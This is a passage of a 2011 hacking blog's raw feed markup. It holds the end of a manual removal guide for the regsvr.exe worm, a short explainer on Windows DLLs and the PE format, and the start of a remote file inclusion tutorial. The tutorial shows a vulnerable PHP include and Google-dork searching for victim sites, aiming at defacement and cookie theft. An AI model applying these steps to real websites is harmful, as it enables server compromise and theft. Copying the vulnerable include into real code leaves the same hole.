start – &amp;gt; run –&amp;gt; type ”&lt;em&gt;msconfig&lt;/em&gt;” &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
and press enter&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Go to startup tab and uncheck “&lt;em&gt;regsvr&lt;/em&gt;”,
click ok and then click on “&lt;em&gt;Exit without restart&lt;/em&gt;”.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Now go to&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
control panel –&amp;gt; scheduled tasks and delete “&lt;em&gt;At1&lt;/em&gt;”
task listed there.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Once done, close all windows.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;em&gt;&lt;b&gt;&lt;u&gt;Step 2 - Changing Configurations&lt;/u&gt;&lt;/b&gt;&lt;/em&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Your registry might be disabled,and you need to
activate it back to undo all the malicious changes done by worm.In order to do
that, you need to go to&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
start – &amp;gt; run –&amp;gt; type ”&lt;em&gt;gpedit.msc&lt;/em&gt;”
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
and press enter&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
then navigate to&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
users configuration –&amp;gt; Administrative
templates –&amp;gt; systems&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Find “&lt;em&gt;prevent access to registry editing
tools&lt;/em&gt;” , double click it and change the option to &lt;em&gt;disable&lt;/em&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi9w0KJpS-EYVXHrvo3_7F_VDiDSIw0qgb-4n75OsboI7SPa540aRY6IdVl7HBUnMgqqD004R6d9dUu9iO3E767l9e1pJa2V0vyKzaO0mC1rfHOWNOSER-R53JPu4bfZBnRPdbayN3wwgG/s1600/Untitled114.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;278&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi9w0KJpS-EYVXHrvo3_7F_VDiDSIw0qgb-4n75OsboI7SPa540aRY6IdVl7HBUnMgqqD004R6d9dUu9iO3E767l9e1pJa2V0vyKzaO0mC1rfHOWNOSER-R53JPu4bfZBnRPdbayN3wwgG/s400/Untitled114.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Once done, your Regedit will be enabled. In case
your &lt;strong&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;task manager is
disabled, you need to enable it.&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;em&gt;&lt;b&gt;&lt;u&gt;Step 3 - Registry Edits&lt;/u&gt;&lt;/b&gt;&lt;/em&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Now we have to perform some registry edits to
enable our explorer and to remove all instances of worm from the registry. Go
to&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
start – &amp;gt; run –&amp;gt; type ”&lt;em&gt;regedit&lt;/em&gt;” &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
and press enter&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Click on Edit –&amp;gt; Find and search for
regsvr.exe . Find and delete all the occurrences of &lt;u&gt;regsvr.exe&lt;/u&gt; virus (&lt;em&gt;&lt;u&gt;don&#39;t
delete&amp;nbsp; regsvr32.exe as its not a virus&lt;/u&gt;&lt;/em&gt;).&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
then navigate to entry&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
and modify the entry &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Shell = “Explorer.exe regsvr.exe” &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigF_Xj5NIfjjvSbflVm9lajTPIVjgjp8ZZ_1eEjGRRqAriANfJpZpKt1VTcd8xhaiSVVV0gMNmO7V6q1R5yg3rlIUUfRwM2fOMDe6B7A5pnIpbLR9Na1PPlPIloE_EdRbAdvoLQN4L7EYF/s1600/dsda16.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;277&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigF_Xj5NIfjjvSbflVm9lajTPIVjgjp8ZZ_1eEjGRRqAriANfJpZpKt1VTcd8xhaiSVVV0gMNmO7V6q1R5yg3rlIUUfRwM2fOMDe6B7A5pnIpbLR9Na1PPlPIloE_EdRbAdvoLQN4L7EYF/s400/dsda16.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
to delete the regsvr.exe from it,so that it
becomes&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Shell = “&lt;em&gt;Explorer.exe&lt;/em&gt;” &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Once done, close all &lt;strong&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;windows&lt;/span&gt;&lt;/strong&gt;
and get ready to delete all virus files.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;em&gt;&lt;b&gt;&lt;u&gt;Step 4 - Deleting Virus Files&lt;/u&gt;&lt;/b&gt;&lt;/em&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
The final step is to delete all the virus files
in your computer. To do this, Press F3 or Ctrl + F and search for regsvr.exe
(make sure to search in hidden folders ) and delete all “&lt;em&gt;regsvr.exe&lt;/em&gt;” “&lt;em&gt;svchost
.exe&lt;/em&gt;” files (&lt;em&gt;notice the gap between ‘svchost’ and ‘.exe’, keep in mind
you don&#39;t delete the legitimate file&lt;/em&gt;.). &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Clean your recycle bin and restart your PC
(perform a cold boot).&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Volia..you have cleaned your computer from
regsvr..just make sure to scan your pendrive the next time you plug in :)&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Posted By :-&amp;nbsp;|-|A|_F B|_00d Pr|nCe&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/6038807781881800794/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/remove-regsvrexe-and-new-folderexe.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/6038807781881800794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/6038807781881800794'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/remove-regsvrexe-and-new-folderexe.html' title='Remove REGSVR.EXE and New Folder.exe viruses completely'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi9w0KJpS-EYVXHrvo3_7F_VDiDSIw0qgb-4n75OsboI7SPa540aRY6IdVl7HBUnMgqqD004R6d9dUu9iO3E767l9e1pJa2V0vyKzaO0mC1rfHOWNOSER-R53JPu4bfZBnRPdbayN3wwgG/s72-c/Untitled114.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-2592057250032685790</id><published>2011-11-03T20:00:00.004+05:30</published><updated>2011-11-03T20:22:53.318+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Coding"/><title type='text'>INTERNALS OF PROGRAMMING APPLICATIONS</title><content type='html'>&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate=&quot;false&quot; latentstylecount=&quot;156&quot;&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:&quot;Table Normal&quot;;  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:&quot;&quot;;  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:&quot;Times New Roman&quot;;  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;People have always asked me is the programming that college teachers teach enough for us.&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;Here is the answer&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;it never ends.....&lt;/p&gt;    &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;&lt;p class=&quot;MsoPlainText&quot;&gt;Any executable in order to work needs some functions to implement its features.these functions are called API.  &lt;/p&gt;&lt;p class=&quot;MsoPlainText&quot;&gt;It stands for application programming interface.&lt;span style=&quot;mso-spacerun:yes&quot;&gt;  &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;An api is set of functions that help in developement of various applications for a specific platform . These functions may provide the functionality ranging from the most basic mouse movement to the advanced process spawning tasks.Consider them just to be your normal c style functions (like add()) that are provided by the vendor or may be user defined.&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;dll::&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;dynamic linked libraries are nothing but binary files containing the definitons of the various API&#39;s.&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;example::&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;void func(){};&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;void main()&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;{&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;func();&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;}&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;In the function above we can also give the defintion of func() in another .c source file and then that file be included by defining the func() function&lt;span style=&quot;mso-spacerun:yes&quot;&gt;  &lt;/span&gt;in a separate file and using the directive::&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;#include &quot;name of file&quot;&lt;name of=&quot;&quot; file=&quot;&quot;&gt;&lt;name of=&quot;&quot; file=&quot;&quot;&gt;&lt;/name&gt;&lt;/name&gt;&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;before the main() function.&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;example::&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;#include &quot;f.c&quot;&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;//contents of f.c::&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;//void func(){}&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;void main()&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;{&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;&lt;span style=&quot;mso-spacerun:yes&quot;&gt;        &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;&lt;span style=&quot;mso-spacerun:yes&quot;&gt;        &lt;/span&gt;func();&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;&lt;span style=&quot;mso-spacerun:yes&quot;&gt;        &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;}&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;Same is the case with dlls.&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;For example in order to use the API MessageBox() we may use the windows.h header file which will cause the dll associated with the MessageBox API(user32.dll in this case ) to be loaded automatically at the run time by the linker(or operating system ,for simplicity). dll files contain&lt;span style=&quot;mso-spacerun:yes&quot;&gt;  &lt;/span&gt;the DllMain function (which is called at the time the dlla are initialized ) besides the usual function to export to the applicaions.&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;Why we add the name dynamic to them ? well the reason is that they are loaded at the runtime&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;(ie loaded dynamically) by the operating system into the process address space(ie the region where executable is&lt;span style=&quot;mso-spacerun:yes&quot;&gt;  &lt;/span&gt;mapped in the primary memory of the system)&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;What is the structure of the process like?&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;The PE file::&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;windows conforms to the&lt;span style=&quot;mso-spacerun:yes&quot;&gt;  &lt;/span&gt;pe(portable execuatble) /coff(common object file format) that defines how the executable image(file) should be laid out in the memory.&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;One of the main features of the pe file format is that it starts with the typical dos stub that contains the initials MZ(Mark Zbikowski)&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;that means if you were to open any .exe,or .dll or .sys file in notepad you would surely find these initials at the beginning...&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;nice alternative of checking extensions if someone has disabled the extensions isn&#39;t it! :)&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;there are various sections inside a pe file .these sections are .text(contains the code),.data(contains the initialized data),.rsrc section(conatins resources bitmap,cursor etc.) and there are few others.&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;The windows loader reads the information contained in the pe file located on the disc and uses it to construct fully working process loaded in the ram...&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;this is how everything works underneath an application without you even knowing it!&lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt; &lt;/p&gt;  &lt;p class=&quot;MsoPlainText&quot;&gt;Posted by:&lt;/p&gt;  &lt;span style=&quot;line-height:115%;font-family:&amp;quot;Times New Roman&amp;quot;; mso-fareast-Times New Roman&amp;quot;;mso-ansi-language:EN-US;mso-fareast-language: EN-US;mso-bidi-language:AR-SAfont-family:&amp;quot;;font-size:16.0pt;&quot;  &gt;Cr4nk&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/2592057250032685790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/internals-of-programming-applications.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/2592057250032685790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/2592057250032685790'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/internals-of-programming-applications.html' title='INTERNALS OF PROGRAMMING APPLICATIONS'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-1832514200435249819</id><published>2011-11-03T19:38:00.002+05:30</published><updated>2011-11-03T19:48:26.261+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="WEBSITE HACKING"/><title type='text'>WEBSITE HACKING: REMOTE FILE INCLUSION</title><content type='html'>&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate=&quot;false&quot; latentstylecount=&quot;156&quot;&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:&quot;Table Normal&quot;;  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:&quot;&quot;;  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:&quot;Times New Roman&quot;;  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom:10.0pt;line-height:115%;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size:14.0pt;line-height: 115%;font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;REMOTE FILE INCLUSION (RFI)&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-size:14.0pt; line-height:115%;font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language: EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom:10.0pt;line-height:115%;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span style=&quot;font-size:14.0pt;line-height: 115%;font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;Remote file inclusion (RFI) is a very common vulnerability found in most of the websites. Remote file inclusion allows the attacker to upload a script or malicious code in a website or server. Using this attack, we can exploit&quot;dynamic file include&quot; mechanisms in web applications. when web applications take user input(such as url, parameter values etc) and pass them into file include commands, the website can be tricked into including remote files with malicious code.using RFI you can deface the vulnerable websites, get access to the server or even you can manipulate of the response sent to the client of the website. For example you can embed a JavaScript code to steal the client cookie session.&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;line-height:115%;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom:10.0pt;line-height:115%;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span style=&quot;font-size:14.0pt;line-height: 115%;font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;PHP is particularly vulnerable to RFI attacks due to the extensive use of &quot;file includes&quot; in PHP programming. The vulnerability mainly relies on the PHP include () function.&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size:14.0pt; line-height:115%;font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language: EN&quot; lang=&quot;EN&quot;&gt; So you need to know some basic php concepts for better understanding of this attack. A include()&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size:14.0pt; line-height:115%;font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language: EN&quot; lang=&quot;EN&quot;&gt; function is used to include or evaluate a specified file. Actually the php code responsible for this vulnerability will be in a format similar as stated below:&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;line-height:115%;font-family: Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom:10.0pt;line-height:115%;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span style=&quot;font-size:14.0pt;line-height:115%; font-family:Arial&quot;&gt;&lt;!--?php&lt;br /&gt;$page = $_GET[&#39;page&#39;];&lt;br /&gt;include($page);&lt;br /&gt;?--&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom:10.0pt;line-height:115%;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span style=&quot;font-size:14.0pt;line-height:115%; font-family:Calibri;mso-bidi-font-family:Arial&quot;&gt;Thus &lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;line-height:115%;font-family:Calibri&quot;&gt;If this isn&#39;t coded properly, the script doesn&#39;t check where the file is coming from and so an inclusion from another site will be accepted and run on the server. This means that a text file containing PHP script can be hosted on another site but run on the site being targeted.&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt; line-height:115%;font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language: EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom:10.0pt;line-height:115%;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight:normal&quot;&gt;&lt;u style=&quot;text-underline:#000000&quot;&gt;&lt;span style=&quot;font-size:14.0pt; line-height:115%;font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language: EN&quot; lang=&quot;EN&quot;&gt;Performing a RFI attack&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom:10.0pt;line-height:115%;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span style=&quot;font-size:14.0pt;line-height: 115%;font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;1. First step is to find the vulnerable website&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;line-height:115%;font-family:Calibri;mso-bidi-font-family: Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom:10.0pt;line-height:115%;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span style=&quot;font-size:14.0pt;line-height: 115%;font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;Remote File inclusion vulnerability usually occur in those sites which have a navigation similar to this:&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt; line-height:115%;font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language: EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom:10.0pt;line-height:115%;mso-layout-grid-align: none;text-autospace:none&quot;&gt;&lt;span style=&quot;font-size:14.0pt;line-height: 115%;font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;a href=&quot;www.victimwebsite.com/index.php?page=something&quot;&gt;www.victimwebsite.com/index.php?page=something&lt;/a&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size:14.0pt;line-height:115%;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;To find a vulnerable website, we will use &lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family: Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;a href=&quot;http://googledork.com/&quot;&gt;Google dorks&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;Go to google, and type&lt;span style=&quot;mso-spacerun:yes&quot;&gt;  &lt;/span&gt;the following:&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;Inurl:index.php?file=something&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; 